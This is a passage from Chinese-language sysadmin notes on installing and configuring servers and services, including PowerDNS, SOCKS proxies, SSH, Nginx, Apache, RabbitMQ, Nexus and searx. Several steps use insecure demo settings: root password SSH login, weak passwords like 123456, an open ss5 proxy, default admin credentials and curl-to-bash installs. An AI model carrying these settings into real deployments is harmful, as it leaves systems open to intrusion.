CHARACTER SET 'latin1'; CREATE INDEX nametype_index ON records(name,type); CREATE INDEX domain_id ON records(domain_id); CREATE INDEX ordername ON records (ordername); CREATE TABLE supermasters ( ip VARCHAR(64) NOT NULL, nameserver VARCHAR(255) NOT NULL, account VARCHAR(40) CHARACTER SET 'utf8' NOT NULL, PRIMARY KEY (ip, nameserver) ) Engine=InnoDB CHARACTER SET 'latin1'; CREATE TABLE comments ( id INT AUTO_INCREMENT, domain_id INT NOT NULL, name VARCHAR(255) NOT NULL, type VARCHAR(10) NOT NULL, modified_at INT NOT NULL, account VARCHAR(40) CHARACTER SET 'utf8' DEFAULT NULL, comment TEXT CHARACTER SET 'utf8' NOT NULL, PRIMARY KEY (id) ) Engine=InnoDB CHARACTER SET 'latin1'; CREATE INDEX comments_name_type_idx ON comments (name, type); CREATE INDEX comments_order_idx ON comments (domain_id, modified_at); CREATE TABLE domainmetadata ( id INT AUTO_INCREMENT, domain_id INT NOT NULL, kind VARCHAR(32), content TEXT, PRIMARY KEY (id) ) Engine=InnoDB CHARACTER SET 'latin1'; CREATE INDEX domainmetadata_idx ON domainmetadata (domain_id, kind); CREATE TABLE cryptokeys ( id INT AUTO_INCREMENT, domain_id INT NOT NULL, flags INT NOT NULL, active BOOL, content TEXT, PRIMARY KEY(id) ) Engine=InnoDB CHARACTER SET 'latin1'; CREATE INDEX domainidindex ON cryptokeys(domain_id); CREATE TABLE tsigkeys ( id INT AUTO_INCREMENT, name VARCHAR(255), algorithm VARCHAR(50), secret VARCHAR(255), PRIMARY KEY (id) ) Engine=InnoDB CHARACTER SET 'latin1'; CREATE UNIQUE INDEX namealgoindex ON tsigkeys(name, algorithm); exit; ``` 安装 PowerDNS ```bash apt install -y pdns-recursor pdns-server pdns-backend-mysql ``` Ubuntu 18.04 附带 systemd-resolve,你需要禁用它,并删除 resolv.conf 文件,因为它绑定到端口 53 ,这将与 PowerDNS 端口冲突。 ```bash systemctl disable systemd-resolved systemctl stop systemd-resolved rm /etc/resolv.conf ``` ```vim vim /etc/powerdns/pdns.d/pdns.local.gmysql.conf launch=gmysql gmysql-host=localhost gmysql-dbname=powerdns # 改成之前创建的数据库 gmysql-user=powerdns # 改成之前创建的用户 gmysql-password=123456 # 改成之前创建的密码 ``` ``` sed -i "s|# local-port=.*|local-port=5300|" /etc/powerdns/pdns.conf sed -i "s|# config-dir=.*|config-dir=/etc/powerdns|" /etc/powerdns/pdns.conf sed -i "s|# daemon=.*|daemon=yes|" /etc/powerdns/pdns.conf sed -i "s|# guardian=.*|guardian=yes|" /etc/powerdns/pdns.conf sed -i "s|# master=.*|master=yes|" /etc/powerdns/pdns.conf sed -i "s|# max-tcp-connections=.*|max-tcp-connections=20|" /etc/powerdns/pdns.conf service pdns restart ``` 此时记得将 /etc/resolv.conf 中的 nameserver 改为 127.0.0.1 ```bash cat /etc/resolv.conf # Generated by NetworkManager search localdomain nameserver 127.0.0.1 ``` 测试 ``` dig @127.0.0.1 dig www.baidu.com pdnsutil create-zone test-zone-1 pdnsutil list-zone test-zone-1 ``` #### PowerDNS-Admin > PowerDNS-Admin 是一个具有以下高级功能的 PowerDNS Web 界面 **项目地址** - https://github.com/ngoduykhanh/PowerDNS-Admin **安装** 设置数据库 ```sql mysql -u root -p CREATE DATABASE powerdnsadmin; GRANT ALL PRIVILEGES ON powerdnsadmin.* TO 'pdnsadminuser'@'%' IDENTIFIED BY '123456'; FLUSH PRIVILEGES; quit ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 123456 这类弱口令 ```bash # Install Python 3 devevelopment package apt install -y python3-dev # Install required packages for building python libraries from requirements.txt file apt install -y libmysqlclient-dev libsasl2-dev libldap2-dev libssl-dev libxml2-dev libxslt1-dev libxmlsec1-dev libffi-dev pkg-config apt-transport-https virtualenv build-essential # Install NodeJs curl -sL https://deb.nodesource.com/setup_10.x | bash - apt install -y nodejs # Install yarn to build asset files curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | apt-key add - echo "deb https://dl.yarnpkg.com/debian/ stable main" > /etc/apt/sources.list.d/yarn.list apt update -y apt install -y yarn # Checkout source code and create virtualenv git clone https://github.com/ngoduykhanh/PowerDNS-Admin.git /opt/web/powerdns-admin cd /opt/web/powerdns-admin virtualenv -p python3 flask # Activate your python3 environment and install libraries source ./flask/bin/activate pip install -r requirements.txt ``` Running PowerDNS-Admin ```vim vim configs/development.py SQLA_DB_USER = 'powerdns' # 改成之前创建的数据库 SQLA_DB_PASSWORD = '123456' # 改成之前创建的用户 SQLA_DB_HOST = '127.0.0.1' # 改成之前创建的密码 SQLA_DB_NAME = 'powerdns' ``` ```bash export FLASK_CONF=../configs/development.py export FLASK_APP=powerdnsadmin/__init__.py flask db upgrade # generate asset files yarn install --pure-lockfile flask assets build # run PowerDNS-Admin by command ./run.py ``` 现在访问 ip:9191 > 注: 这对于测试环境很有效,但是对于生产环境,应该使用 gunicorn 或 uwsgi --- ### proxychains-ng > 通过 DLL 注入,使目标程序走代理 **项目地址** - https://github.com/rofl0r/proxychains-ng **安装** ```bash git clone https://github.com/rofl0r/proxychains-ng.git cd proxychains-ng ./configure make && make install cp ./src/proxychains.conf /etc/proxychains.conf cd .. && rm -rf proxychains-ng ``` **编辑配置** ```bash vim /etc/proxychains.conf socks5 127.0.0.1 1080 # 改成你懂的 ``` **使用** 在需要代理的命令前加上 proxychains4 ,如 : `proxychains4 wget https://www.google.com/` --- ### ss5 > Socks5 代理服务器 **centos7** ```bash yum -y install gcc gcc-c++ automake make pam-devel openldap-devel cyrus-sasl-devel openssl-devel vim wget http://jaist.dl.sourceforge.net/project/ss5/ss5/3.8.9-8/ss5-3.8.9-8.tar.gz tar -vzx -f ss5-3.8.9-8.tar.gz cd ss5-3.8.9/ ./configure && make && make install chmod +x /etc/init.d/ss5 echo "auth 0.0.0.0/0 - u" > /etc/opt/ss5/ss5.conf echo "permit u 0.0.0.0/0 - 0.0.0.0/0 - - - - -" >> /etc/opt/ss5/ss5.conf cat /etc/opt/ss5/ss5.conf # 自定义用户名密码 echo "test1 123456" > /etc/opt/ss5/ss5.passwd # 自定义端口 echo 'SS5_OPTS=" -u root -b 0.0.0.0:1080"' > /etc/sysconfig/ss5 cd /root service ss5 start ss -tnlp ``` ``` curl https://ipinfo.io --proxy socks5://test1:123456@ip:port ``` **一键安装脚本** - [wyx176/Socks5](https://github.com/wyx176/Socks5) - [Lozy/danted](https://github.com/Lozy/danted) --- ### SSH > Secure Shell 是一種加密的網路傳輸協定,可在不安全的網路中為網路服務提供安全的傳輸環境。 **官网** - https://www.ssh.com 一般主机安装完毕后 SSH 是默认开启的,使用 `/etc/init.d/ssh status` 查看主机 SSH 状态 > 注: ssh_config 为客户端连接到服务端的配置文件;sshd_config 为服务端的配置。 **Kali/Manjaro** 安装完毕后会自动启动,但是没有配置配置文件会无法登录,修改下配置文件 ```vim echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config ``` ```bash systemctl start ssh # 启动ssh systemctl enable ssh # 设置为开机自启 # 或 /etc/init.d/ssh start # 启动ssh update-rc.d ssh enable # 设置为开机自启 ``` 若在使用工具登录时,当输完用户名密码后提示 SSH 服务器拒绝了密码,就再试一遍. 这时不要着急,只需要在 Kali 控制端口重新生成两个秘钥即可. ```bash ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key ssh-keygen -t dsa -f /etc/ssh/ssh_host_rsa_key ``` **Ubuntu** 如果没有就装一下,如果你只是想登录别的机器的 SSH 只需要安装 openssh-client (ubuntu 有默认安装,如果没有则 `apt install -y openssh-client`) ,如果要使本机开放 SSH 服务就需要安装 openssh-server ```bash apt remove -y openssh-server apt remove -y ssh apt install -y openssh-client apt install -y openssh-server apt install -y ssh ``` ```bash service ssh restart # 启动ssh systemctl enable ssh # 设置为开机自启 ``` 配置允许 root 远程登录 ```vim echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config ``` **Debian** ``` apt install -y openssh-client=1:7.9p1-10+deb10u1 apt install -y openssh-server=1:7.9p1-10+deb10u1 apt install -y ssh ``` ```bash service ssh restart systemctl enable ssh ``` 配置允许 root 远程登录 ```vim echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config ``` **配置文件** 详细的配置文件内容见 [ssh](./实验/ssh.md) **加固** 本部分内容移步[Secure-Linux](./Secure-Linux#SSH) SSH 部分 **排错** 0. 先排查是不是客户端(自己)的问题,再排查是不是服务端(对面)的问题,最后在排查是不是传输中(中间)的问题. 1. ping 试试,如果网络层可通,那么大概率是应用层的问题,检查 SSH 配置,是否有白名单限制,或者你他娘的意大利防火墙或 selinux 就没放行 2. 假设这么一种情况,应用层配置正常,主机一切正常,但路由器/交换机在 ACL 上禁用了 SSH 的流量,这样就是传输层的问题了.内网 IPS/IDS 阻断同理. 4. 麻烦你看下账号密码是不是写错了谢谢.或者是不是限制只使用密钥登录的. 5. 注意下是不是配置文件或服务看错了是 sshd 不是 ssh **motd** - [Mithrilwoodrat/FBI-WARNING-in-console](https://github.com/Mithrilwoodrat/FBI-WARNING-in-console) - [abcfy2/motd](https://github.com/abcfy2/motd) - `vim /etc/motd` ``` _ooOoo_ o8888888o 88" . "88 (| -_- |) O\ = /O ____/`---'\____ .' \\| |// `. / \\||| : |||// \ / _||||| -:- |||||- \ | | \\\ - /// | | | \_| ''\---/'' | | \ .-\__ `-` ___/-. / ___`. .' /--.--\ `. . __ ."" '< `.___\_<|>_/___.' >'"". | | : `- \`.;`\ _ /`;.`/ - ` : | | \ \ `-. \_ __\ /__ _/ .-` / / ======`-.____`-.___\_____/___.-`____.-'====== `=---=' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 佛祖保佑 永不死机 心外无法 法外无心 ``` ``` _ `-._ `-. `. \ : / .' .-' _.-' _ `--._ `-._ `-. `. `. : .' .' .-' _.-' _.--' `--._ `-._ `-. `. \ : / .' .-' _.-' _.--' `--.__ `--._ `-._ `-. `. `. : .' .' .-' _.-' _.--' __.--' __ `--.__ `--._ `-._ `-. `. \:/ .' .-' _.-' _.--' __.--' __ `--..__ `--.__ `--._ `-._`-.`_=_'.-'_.-' _.--' __.--' __..--' --..__ `--..__ `--.__ `--._`-q(-_-)p-'_.--' __.--' __..--' __..-- ``--..__ `--..__ `--.__ `-'_) (_`-' __.--' __..--' __..--'' ...___ ``--..__ `--..__`--/__/ \--'__..--' __..--'' ___... ```---...___ ``--..__`_(<_ _/)_'__..--'' ___...---''' ```-----....._____```---...___(__\_\_|_)/__)___...---'''_____.....-----''' ``` ``` .-. .-. .--' / \ '--. '--. \ _______ / .--' \ \ .-" "-. / / \ \ / \ / / \ / \ / \| .--. .--. |/ | )/ | | \( | |/ \__/ \__/ \| / /^\ \ \__ '=' __/ |\ /| |\'"VUUUV"'/| \ `"""""""` / `-._____.-' / / \ \ / / \ \ / / \ \ ,-' ( ) `-. `-'._) (__._.) ``` --- ### ttyd > 用于在 web 上访问终端 **项目地址** - https://github.com/tsl0922/ttyd **安装** ```bash apt-get install -y cmake g++ pkg-config git vim-common libwebsockets-dev libjson-c-dev libssl-dev git clone https://github.com/tsl0922/ttyd.git cd ttyd && mkdir build && cd build cmake .. make && make install ``` **运行** ```bash ttyd -p 8080 bash ``` 现在访问 http://localhost:8080 即可 --- ### vnc4server > 为主机提供 VNC 服务 **安装** ```bash apt-get install -y vnc4server vncpasswd # 设置vncserver密码 vncserver :1 -geometry 1024x768 -depth 24 # 设置vnc连接时窗口的大小 netstat -tnl | grep 5901 # 查看vnc激活状态 ``` windows 使用 tightVNC 测试连接,连接地址: IP:5901 --- ## web服务-中间件 ### ActiveMQ <p align="center"> <img src="../../../assets/img/logo/ActiveMQ.png" width="23%"> </p> > Apache ActiveMQ 是 Apache 软件基金会所研发的开放源代码消息中间件;由于 ActiveMQ 是一个纯 Java 程序,因此只需要操作系统支持 Java 虚拟机,ActiveMQ 便可执行. **官网** - http://activemq.apache.org/ **安装** 安装依赖 JDK ```bash cd / tar xzf jdk-8u212-linux-x64.tar.gz ``` ```vim vim /etc/profile export JAVA_HOME=/root/jdk1.8.0_212 export PATH=$PATH:$JAVA_HOME/bin ``` ```bash source /etc/profile java -version ``` 下载 activemq 压缩包,这里以 5.14.5 为例 ``` wget http://archive.apache.org/dist/activemq/5.14.5/apache-activemq-5.14.5-bin.tar.gz tar -zxvf apache-activemq-5.14.5-bin.tar.gz mv apache-activemq-5.14.5 activemq cd activemq/bin/ ./activemq start ps -ef| grep activemq ``` ``` firewall-cmd --zone=public --add-port=8161/tcp --permanent firewall-cmd --reload ``` 访问 127.0.0.1:8161 用户名:admin 密码:admin 修改用户信息编辑 conf/jetty-realm.properties 即可 --- ### Apache_httpd <p align="center"> <img src="../../../assets/img/logo/apache.svg" width="8%"> </p> > Apache HTTP Server 是 Apache 軟體基金會的一個開放原始碼的網頁伺服器軟體,可以在大多數電腦作業系統中運行。由於其跨平台和安全性,被廣泛使用,是最流行的 Web 伺服器軟體之一。 **官网** - https://www.apache.org/ **安装** ```bash yum install -y httpd yum install -y mod_ssl openssl ``` **简单配置** ```vim vim /etc/httpd/conf/httpd.conf DocumentRoot "/var/www/html" ServerName xx.xx.xx.xx:80 # 设置 Web 服务器的主机名和监听端口 ``` 启服务 ```vim vim /var/www/html/index.html Hello World! ``` ```bash service httpd restart firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --reload ``` 此时可以访问 ip/index.html **虚拟主机** 配置虚拟主机文件 ```vim cp /usr/share/doc/httpd-*/httpd-vhosts.conf /etc/httpd/conf.d/virthost.conf vim /etc/httpd/conf.d/virthost.conf <VirtualHost 192.168.1xx.22:80> ServerName www.abc.com # 设置 Web 服务器的主机名和监听端口 DocumentRoot "/data/web_data" <Directory "/data/web_data"> Require all granted </Directory> </VirtualHost> Listen 192.168.1XX.33:443 <VirtualHost 192.168.1xx.22:443> ServerName www.abc.com # 设置 Web 服务器的主机名和监听端口 DocumentRoot "/data/web_data" SSLEngine on SSLCertificateFile /etc/httpd/ssl/httpd.crt SSLCertificateKeyFile /etc/httpd/ssl/httpd.key <Directory "/data/web_data"> Require all granted </Directory> </VirtualHost> ``` ```bash mkdir -p /data/web_data echo 'Hello World!' >/data/web_data/index.html service httpd restart firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --reload ``` **更多配置案例** 见 [httpd.md](./实验/httpd.md) --- ### Caddy <p align="center"> <img src="../../../assets/img/logo/Caddy.png" width="30%"> </p> > Caddy 伺服器是一個開源的,使用 Golang 編寫,支持 HTTP/2 的 Web 服務端。 > 注 : 在新版 caddy 中以下配置已经不兼容了,请参考官方文档 https://caddyserver.com/docs/getting-started **官网** - https://caddyserver.com/ **安装 Caddy** ```bash # Debian, Ubuntu, Raspbian sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo tee /etc/apt/trusted.gpg.d/caddy-stable.asc curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list sudo apt update sudo apt install caddy # Fedora, RedHat, CentOS dnf install 'dnf-command(copr)' dnf copr enable @caddy/caddy dnf install caddy # RHEL/CentOS 7: yum install yum-plugin-copr yum copr enable @caddy/caddy yum install caddy ``` **启动测试** ```bash caddy run curl localhost:2019/config/ | jq . ``` **配置文件** ```bash chown -R root:www-data /usr/local/bin # 设置目录数据权限 touch /usr/local/caddy/Caddyfile echo -e ":80 { gzip root /usr/local/caddy/www/ }" > /usr/local/caddy/Caddyfile mkdir /usr/local/caddy/www echo "<h1>first</h1>" >> /usr/local/caddy/www/index.html /etc/init.d/caddy start # 如果启动失败可以看 Caddy 日志: tail -f /tmp/caddy.log ``` **反向代理** 做一个 ip 跳转 ```bash echo ":80 { gzip proxy / http://www.baidu.com }" > /usr/local/caddy/Caddyfile /etc/init.d/caddy start ``` **HTTPS** 为已经绑定域名的服务器自动从 Let’s Encrypt 生成和下载 HTTPS 证书,支持 HTTPS 协议访问,你只需要将绑定的 IP 换成 域名 即可 ```bash echo -e "xxx.com { gzip root /usr/local/bin/www tls xxxx@xxx.com #你的邮箱 }" > /usr/local/caddy/Caddyfile /etc/init.d/caddy start ``` --- ### npm&Node <p align="center"> <img src="../../../assets/img/logo/npm&Node.png" width="40%"> </p> > npm 是 Node.js 預設的、以 JavaScript 編寫的軟體套件管理系統。 > Node.js 是能夠在伺服器端運行 JavaScript 的開放原始碼、跨平台 JavaScript 執行環境。 **官网** - https://www.npmjs.com/ - https://nodejs.org **包管理器方式** - apt ```bash curl -sL https://deb.nodesource.com/setup_10.x | bash - # 添加 Node.js PPA apt-get install -y nodejs npm ``` - yum ```bash yum install -y epel-release yum install -y nodejs npm ``` **源文件方式安装** 首先下载 NodeJS 的二进制文件,http://nodejs.org/download/ .在 Linux Binaries (.tar.gz) 行处根据自己系统的位数选择 ```bash # 解压到当前文件夹下运行 tar xvJf node-v12.17.0-linux-x64.tar 进入解压后的目录 bin 目录下,执行 ls 会看到两个文件 node,npm. 然后执行 ./node -v ,如果显示出 版本号说明我们下载的程序包是没有问题的.依次运行如下三条命令 cd node-v12.17.0-linux-x64/bin ls ./node -v ``` 因为 /home/node-v12.17.0-linux-x64/bin 这个目录是不在环境变量中的,所以只能到该目录下才能 node 的程序.如果在其他的目录下执行 node 命令的话 ,必须通过绝对路径访问才可以的 如果要在任意目录可以访问的话,需要将 node 所在的目录,添加 PATH 环境变量里面,或者通过软连接的形式将 node 和 npm 链接到系统默认的 PATH 目录下的一个 在终端执行 echo $PATH 可以获取 PATH 变量包含的内容,系统默认的 PATH 环境变量包括 /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin: ,冒号为分隔符.所以我们可以将 node 和 npm 链接到 /usr/local/bin 目录下如下执行 ```bash ln -s /home/node-v12.17.0-linux-x64/bin/node /usr/local/bin/node ln -s /home/node-v12.17.0-linux-x64/bin/npm /usr/local/bin/npm ``` **加速** - [node&js](../../Plan/Misc-Plan.md#node&js) **强制安装** ```bash npm install --unsafe-perm=true --allow-root ``` **模块安装和卸载** ```bash # 安装 npm i -g [xxx模块] # clone 到本地安装 git clone https://github.com/xxx/[xxx模块] cd [xxx模块] npm i -g # 卸载 npm uninstall [xxx模块] ``` **forever** > forever 是一个简单的命令式 nodejs 的守护进程,能够启动,停止,重启 App 应用。forever 完全基于命令行操作,在forever进程之下,创建 node 的子进程,通过 monitor 监控 node 子进程的运行情况,一旦文件更新或进程挂掉,forever 会自动重启 node 服务器,确保应用正常运行。 ```bash npm install forever -g # 全局安装 forever start app.js # 启动 forever stop app.js # 关闭 forever start -l forever.log -o out.log -e err.log app.js # 输出日志和错误 forever -w app.js # 自动监控文件变化,文件修改保存之后自动重启app.js forever -h # 查看帮助 ``` --- ### Nexus <p align="center"> <img src="../../../assets/img/logo/Nexus.png" width="28%"> </p> > Nexus 是一种 Maven 仓库管理软件用于搭建私服,私服是架设在局域网的一种特殊的远程仓库,目的是代理远程仓库及部署第三方构件。有了私服之后,当 Maven 需要下载构件时,直接请求私服,私服上存在则下载到本地仓库;否则,私服请求外部的远程仓库,将构件下载到私服,再提供给本地仓库下载。 **官网** - https://www.sonatype.com/nexus-repository-oss **安装** - **JDK** ```bash tar xzf jdk-8u212-linux-x64.tar.gz ``` ```vim vim /etc/profile export JAVA_HOME=/root/jdk1.8.0_212 export PATH=$PATH:$JAVA_HOME/bin ``` ```bash source /etc/profile java -version ``` - **Maven** ```bash tar xzf apache-maven-3.6.2-bin.tar.gz ``` ```vim vim /etc/profile export MAVEN_HOME=/root/apache-maven-3.6.2 export PATH=$PATH:$MAVEN_HOME/bin ``` ```bash source /etc/profile mvn -version ``` - **Nexus** - 在官网下载 UNIX 安装包,上传至服务器,这里以 https://help.sonatype.com/repomanager2/download#Download-NexusRepositoryManager2OSS 2.14.14-01 为例 ```bash tar -xf nexus-2.14.14-01-bundle.tar.gz -C /usr/local cd /usr/local/nexus-2.14.14-01/bin/ export RUN_AS_USER=root ./nexus start firewall-cmd --add-port=8081/tcp --permanent firewall-cmd --reload ``` ```bash curl http://127.0.0.1:8081/nexus/ ``` 默认登录账号/密码为: admin/admin123 --- ### Nginx <p align="center"> <img src="../../../assets/img/logo/nginx.svg" width="20%"> </p> > Nginx 是非同步框架的網頁伺服器,也可以用作反向代理、負載平衡器和 HTTP 缓存。 **官网** - https://nginx.org/ **安装** - **yum 安装** ```bash yum install -y nginx systemctl start nginx.service ``` - **Debian & Ubuntu 安装** ```bash apt update apt-get -y install nginx ``` - **源代码编译安装** 自己下载好包 https://nginx.org/en/download.html ,传到服务器上,这里以 1.16.1 举例 ```bash wget https://nginx.org/download/nginx-1.16.1.tar.gz tar -zxvf nginx-1.16.1.tar.gz cd nginx-1.16.1/ ./configure make make install cd /usr/local/nginx/sbin ./nginx ``` 注:源代码安装你的默认目录在 /usr/local/nginx 下,配置文件在 conf/ 中,不要搞错了 **虚拟主机** 在 /etc/nginx/conf.d/ 目录下新建一个站点的配置文件,列如:test.com.conf ```vim vim /etc/nginx/conf.d/test.com.conf server { listen 80; server_name www.test.com test.com; root /usr/share/nginx/test.com; index index.html; location / { } } ``` `nginx -t ` 检测文件是否有误 ```bash mkdir /usr/share/nginx/test.com echo "hello world!" > /usr/share/nginx/test.com/index.html firewall-cmd --permanent --zone=public --add-service=http firewall-cmd --reload systemctl start nginx.service ``` 如果服务器网址没有注册,那么可以在本机电脑的 /etc/hosts 添加设置: `192.168.1.112 www.test.com test.com` 本地 curl 访问测试 `curl www.test.com` **查看报错** ``` less /var/log/nginx/error.log ``` **更多配置案例** 见 [Nginx.md](./实验/Nginx.md) --- ### php-cli **交互式 shell** ```bash php -a php > echo "hello"; hello php > $x = 3; php > $y = 2; php > echo ($x + $y); ``` **运行 PHP 文件** ```bash php -f test.php ``` **运行 web 服务器** ```bash php -S 0.0.0.0:8080 ``` --- ### phpMyAdmin <p align="center"> <img src="../../../assets/img/logo/phpMyAdmin.png" width="30%"> </p> **官网** - https://www.phpmyadmin.net/ `建议搭配上面的 nginx+php 扩展笔记` **创建数据库和一个用户** ```bash yum install -y mariadb mariadb-server systemctl start mariadb systemctl enable mariadb mysql_secure_installation mysql -u root -p # 创建一个专给 WordPress 存数据的数据库 MariaDB [(none)]> create database f8x_info; # 最后的"f8x_info"为数据库名 # 创建用于 WordPress 对应用户 MariaDB [(none)]> create user f8x@localhost identified by 'password'; # "f8x"对应创建的用户,"password"内填写用户的密码 # 分别配置本地登录和远程登录权限 MariaDB [(none)]> grant all privileges on f8x_info.* to f8x@'localhost' identified by 'password'; MariaDB [(none)]> grant all privileges on f8x_info.* to f8x@'%' identified by 'password'; # 刷新权限 MariaDB [(none)]> flush privileges; exit; ``` **下载** ```bash wget https://files.phpmyadmin.net/phpMyAdmin/4.8.5/phpMyAdmin-4.8.5-all-languages.zip unzip phpMyAdmin-4.8.5-all-languages.zip mv phpMyAdmin-4.8.5-all-languages phpMyAdmin cp phpMyAdmin /usr/share/nginx/test.com/ cd /usr/share/nginx/test.com/phpMyAdmin cp config.sample.inc.php config.inc.php systemctl restart nginx ``` 访问 `https://www.test.com/phpMyAdmin/index.php` --- ### RabbitMQ <p align="center"> <img src="../../../assets/img/logo/rabbitmq.svg" width="10%"> </p> > RabbitMQ 是流行的开源消息队列系统,是 AMQP(Advanced Message Queuing Protocol 高级消息队列协议)的标准实现,用 erlang 语言开发.RabbitMQ 据说具有良好的性能和时效性,同时还能够非常好的支持集群和负载部署,非常适合在较大规模的分布式系统中使用. **官网** - https://www.rabbitmq.com/ **安装** 必须要有 Erlang 环境支持,下载 erlang 软件包,这里以 erlang-19.0.4 为例 ```bash wget http://www.rabbitmq.com/releases/erlang/erlang-19.0.4-1.el7.centos.x86_64.rpm rpm -ivh erlang-19.0.4-1.el7.centos.x86_64.rpm ``` 安装完后输入 erl 测试 安装 rabbitmq,这里以 v3.6.10 为例 ```bash yum install -y socat wget http://www.rabbitmq.com/releases/rabbitmq-server/v3.6.10/rabbitmq-server-3.6.10-1.el7.noarch.rpm rpm -ivh rabbitmq-server-3.6.10-1.el7.noarch.rpm ``` `注意:如果是重装请记得删除 /var/lib/rabbitmq 目录和 /etc/rabbitmq 目录,否则可能服务会起不来` ```bash systemctl start rabbitmq-server 或 rabbitmq-server -detached # 启动rabbitmq,-detached 代表后台守护进程方式启动 rabbitmqctl status ``` **配置网页插件** ```bash # 首先创建目录,否则可能报错: mkdir /etc/rabbitmq # 然后启用插件: rabbitmq-plugins enable rabbitmq_management # 配置防火墙 firewall-cmd --permanent --add-port=15672/tcp firewall-cmd --permanent --add-port=5672/tcp firewall-cmd --reload ``` 访问: 127.0.0.1:15672,这个时候是没有账号密码的! **配置 web 端访问账号密码和权限** 默认网页是不允许访问的,需要增加一个用户修改一下权限,代码如下: ```bash # 添加用户,后面两个参数分别是用户名和密码 rabbitmqctl add_user [账号] [密码] rabbitmqctl set_permissions -p / [账号] ".*" ".*" ".*" # 添加权限 rabbitmqctl set_user_tags [账号] administrator # 修改用户角色 ``` **开启用户远程访问** 默认情况下,RabbitMQ 的默认的 guest 用户只允许本机访问, 如果想让 guest 用户能够远程访问的话,只需要将配置文件中的 loopback_users 列表置为空即可, 如下: ``` {loopback_users, []} ``` 另外关于新添加的用户,直接就可以从远程访问的,如果想让新添加的用户只能本地访问,可以将用户名添加到上面的列表, 如只允许 admin 用户本机访问. ``` {loopback_users, ["admin"]} ``` --- ### searx <p align="center"> <img src="../../../assets/img/logo/searx.png" width="20%"> </p> > 尊重隐私,可控的元搜索引擎. **项目地址** - https://github.com/asciimoo/searx **安装搭建** 注:本次在 Debian/Ubuntu 下搭建,centos 下基本一致,请参考 [官方教程](https://github.com/asciimoo/searx/wiki/Installation-on-RHEL-7---CentOS-7) 加源,安装依赖 ``` add-apt-repository universe apt-get update sudo -H apt-get install -y \ python3-dev python3-babel python3-venv \ uwsgi uwsgi-plugin-python3 \ git build-essential libxslt-dev zlib1g-dev libffi-dev libssl-dev \ shellcheck ``` 安装 searx ```bash cd /usr/local git clone https://github.com/asciimoo/searx.git useradd searx -d /usr/local/searx chown searx:searx -R /usr/local/searx ``` 测试 python 虚拟环境 ```bash sudo -u searx -i cd /usr/local/searx virtualenv searx-ve . ./searx-ve/bin/activate ./manage.sh update_packages ``` 一些安全性配置 ```bash sed -i -e "s/ultrasecretkey/`openssl rand -hex 16`/g" searx/settings.yml sed -i -e "s/debug : True/debug : False/g" searx/settings.yml ``` ```bash apt-get install -y uwsgi uwsgi-plugin-python ``` ```vim vim /etc/uwsgi/apps-available/searx.ini [uwsgi] # Who will run the code uid = searx gid = searx # disable logging for privacy disable-logging = true # Number of workers (usually CPU count) workers = 4 # The right granted on the created socket chmod-socket = 666 # Plugin to use and interpretor config single-interpreter = true master = true plugin = python lazy-apps = true enable-threads = true # Module to import module = searx.webapp # Virtualenv and python path virtualenv = /usr/local/searx/searx-ve/ pythonpath = /usr/local/searx/ chdir = /usr/local/searx/searx/ ``` ```bash cd /etc/uwsgi/apps-enabled ln -s ../apps-available/searx.ini /etc/init.d/uwsgi restart ``` 配置 nginx 代理 ```bash apt-get install -y nginx ``` ```vim vim /etc/nginx/sites-available/searx server { listen 80; server_name www.你的域名.com; root /usr/local/searx; location / { include uwsgi_params; uwsgi_pass unix:/run/uwsgi/app/searx/socket; } } ``` ```bash ln -s /etc/nginx/sites-available/searx /etc/nginx/sites-enabled/searx service nginx restart service uwsgi restart ``` 现在访问 www.你的域名.com 查看你的搜索引擎服务把~ **Tips** 搜索引擎设置在 settings_et_dev.yml 文件中 建议删除或不使用的搜索接口(由于对请求速度的影响实在太大,并且经常抽风报错) - archive is - wikipedia - wikidata - faroo - library genesis - reddit - startpage - mymemory translated 搜索结果定向,不适合日常使用 - etymonline - gigablast - duden - seznam - erowid --- ### Tomcat <p align="center"> <img src="../../../assets/img/logo/tomcat.svg" width="15%"> </p> > Tomcat 类似与一个 apache 的扩展型,属于 apache 软件基金会的核心项目,属于开源的轻量级 Web 应用服务器,是开发和调试 JSP 程序的首选,主要针对 Jave 语言开发的网页代码进行解析,Tomcat 虽然和 Apache 或者 Nginx 这些 Web 服务器一样,具有处理 HTML 页面的功能,然而由于其处理静态 HTML 的能力远不及 Apache 或者 Nginx,所以 Tomcat 通常做为一个 Servlet 和 JSP 容器单独运行在后端.可以这样认为,当配置正确时,Apache 为 HTML 页面服务,而 Tomcat 实际上运行 JSP 页面和 Servlet.比如 apache 可以通过 cgi 接口直接调取 Tomcat 中的程序. **官网** - https://tomcat.apache.org **Tomcat 角色划分** - manager-gui:允许访问 Manager APP 页面和 Server Status - manager-script:允许访问纯文本接口和 Server Status - manager-jmx:允许访问 JMX 代理接口和 Server Status - manager-status:仅允许访问 Server Status 页面(即 URL 路径为 /manager/status/*) - admin-gui: 允许访问 Host Manager,GUI 界面(即 URL 路径为 /host-manager/html) - admin-script:允许访问 Host Manager,文本接口,(即 URL 路径为 /host-manager/text) **Tomcat manager 接口** - Server Status : 查看服务器状态,包括中间件及操作系统相关信息 - Manager App : 管理服务器上部署的应用(Application),如将 WAR file 文件部署到 tomcat 中,还可以启用或停止项目 - Host Manager : 管理物理主机和虚拟主机,可增加、删除虚拟主机,默认未安装,要访问 host manager 需要在安装页面勾选 **部分文件介绍** - context.xml:Tomcat 默认的数据源在这里配置,一般存放连接数据库的信息; - server.xml:Tomcat 访问端口、域名绑定和数据源在这里配置; - web.xml:Tomcat 项目初始化会去调用的文件; **安装** Tomcat 依赖 JDK,在安装 